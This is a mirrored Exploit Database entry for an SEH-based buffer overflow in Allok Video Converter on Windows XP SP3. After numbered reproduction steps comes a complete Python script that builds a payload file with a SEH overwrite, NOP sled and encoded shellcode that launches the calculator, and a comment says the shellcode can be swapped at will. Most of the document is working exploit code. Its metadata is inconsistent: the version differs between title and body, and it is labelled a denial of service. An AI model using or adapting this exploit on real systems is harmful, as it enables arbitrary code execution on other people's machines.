Allok QuickTime to AVI MPEG DVD Converter 3.6.1217 – Buffer Overflow

Exploit Database
119 阅读

作者： Mohan Ravichandran

日期： 2018-03-12
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/44273/

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# Exploit Title:Allok Video Converter - Buffer Overflow Vulnerability (Windows XP SP3)

# Date: 06-03-2018

# Exploit Author: Mohan Ravichandran & Velayutham Selvaraj

# Organization :TwinTech Solutions

# Vulnerable Software:Allok Video Converter

# Vendor Homepage:http://www.alloksoft.com

# Version:4.6.1217

# Software Link:http://www.alloksoft.com/allok_vconverter.exe

# Tested On:Windows XP Service Pack 3 (Version 2002)

# Credit to Velayutham Selvaraj for discovering the Vulnerbility

# Vulnerability Disclosure Date : 2018-03-06

# Manual steps to reproduce the vulnerability ...

#1.Download and install the "setup(allok_vconverter.exe)" file

#2.Run this exploit code via python 2.7

#3.A file "exploit.txt" will be created

#4.Copy the contents of the file and paste in the License Name field

#Name > exploit.txt

#5.Type some random character in License Code

#6.Click Register and voila !

#7.Boom calculator opens

##############################################################################

import struct

file = open("exploit.txt","wb")

buflen = 4000

junk = "A" * 780

nseh = "\x90\x90\xeb\x10"

seh= struct.pack("<L",0x10019A09)

nops = "\x90" * 20

# The below shellcode will open calculator, but can be modified by need.

shellcode = ""

shellcode +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"

shellcode +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"

shellcode +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"

shellcode +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"

shellcode +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"

shellcode +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"

shellcode +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"

shellcode +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"

shellcode +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"

shellcode +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"

shellcode +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"

shellcode +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"

shellcode +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"

shellcode +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"

shellcode +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"

shellcode +="\xc4\xd9"

exploit = junk + nseh + seh + nops + shellcode

fillers = buflen - len(exploit)

buf = exploit + "D" * fillers

file.write(buf)

file.close()